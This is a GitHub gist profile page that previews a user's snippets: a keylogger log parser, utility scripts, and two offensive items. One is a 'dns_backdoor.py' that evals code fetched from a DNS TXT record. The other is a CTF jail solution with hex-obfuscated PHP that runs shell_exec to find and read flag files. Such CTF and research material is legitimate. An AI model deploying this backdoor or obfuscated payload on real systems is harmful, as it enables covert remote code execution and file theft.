Skip to content

Instantly share code, notes, and snippets.

View k3idii's full-sized avatar

Keidii k3idii

View GitHub Profile
@k3idii
k3idii / ardamax_parser.py
Created February 11, 2016 18:54
Ardamax keylogger file parser/decoder
import sys
import struct
SAVE_JPG = 0
SAVE_EXTRA = 0
def xor_str_key(data, key):
s = ''
i = 0
key_len = len(key)
@k3idii
k3idii / dns_backdoor.py
Created April 4, 2016 23:34
Shortest dns backdoor in python ;-)
import dns.resolver
from time import sleep as zzz
SLEEP_TIME=66; KEEP_WORKING=1
while KEEP_WORKING:
try:
eval(dns.resolver.query('example.com', 'TXT')[0].to_text()); zzz(SLEEP_TIME);
print 'tick'
except:
import sys
# usage: python a.py 12345678901234567 <- 17 digits !
n = sys.argv[1]
for i in range(17):
m = 1
if (i%2 == 0):
m = 3
s += int(n[i]) * m
print "%s%d" %(n, (10 - s%10)) # <- print 18 digits
# placeholder
@k3idii
k3idii / __init__.py
Last active January 8, 2018 23:40
Extra IO Objects wrapper. Usefull for binary-level parsing/building
We couldn’t find that file to show.
@k3idii
k3idii / structio.py
Created May 31, 2017 17:32
The power of struct && the power of file-like io ;-)
import struct
import os
def glue_ex(parts, delim='', preproc=None):
if preproc:
if isinstance(preproc, list):
for fn in preproc:
parts = map(fn, parts)
elif callable(preproc):
def convert_dotnet_time_int64_to_str(i64):
b = bin(i64)[2:].rjust(64,'0')
delta = int(b[2:],2)/10000000
import datetime
return str(datetime.datetime(1,1,1,0,0,0) + datetime.timedelta(seconds=delta))
import structio.structio as sio
import StringIO
import sys
import collections
import json
import pprint
EX_IMPLEMENT_ME = Exception("Implement ME !")
class PrimitiveJsonable(object): ## lolz
import json
import datetime
from dateutil.parser import parse
data = json.loads(open("src.json","r").read())
entries = []
rooms = {}
first_date = None
last_date = None
@k3idii
k3idii / evil.hh
Created September 6, 2020 10:08
2020-09 COnfidence CTF HaHa Jail solution
cmd=<?HH
class C1 {
const F1 = "\x2f\x76\x61\x72\x2f\x74\x6d\x70\x2f\x61\x2e\x70\x68\x703";
const F2 = "\x2f\x76\x61\x72\x2f\x74\x6d\x70\x2f\x61";
const D1 = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x66\x6f\x6f\x28\x29\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x70\x72\x69\x6e\x74\x5f\x72\x28\x24\x5f\x53\x45\x52\x56\x45\x52\x2c\x74\x72\x75\x65\x29\x3b\x20\x7d";
const D2 = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x66\x6f\x6f\x28\x29\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x28\x22\x66\x69\x6e\x64\x20\x2f\x20\x7c\x20\x67\x72\x65\x70\x20\x66\x6c\x61\x67\x22\x29\x3b\x20\x7d";
const D3 = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x66\x6f\x6f\x28\x29\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x28\x22\x63\x61\x74\x20\x2f\x76\x61\x72\x2f\x77\x77\x77\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x22\x29\x3b\x20\x7d";
}
<<__EntryPoint>>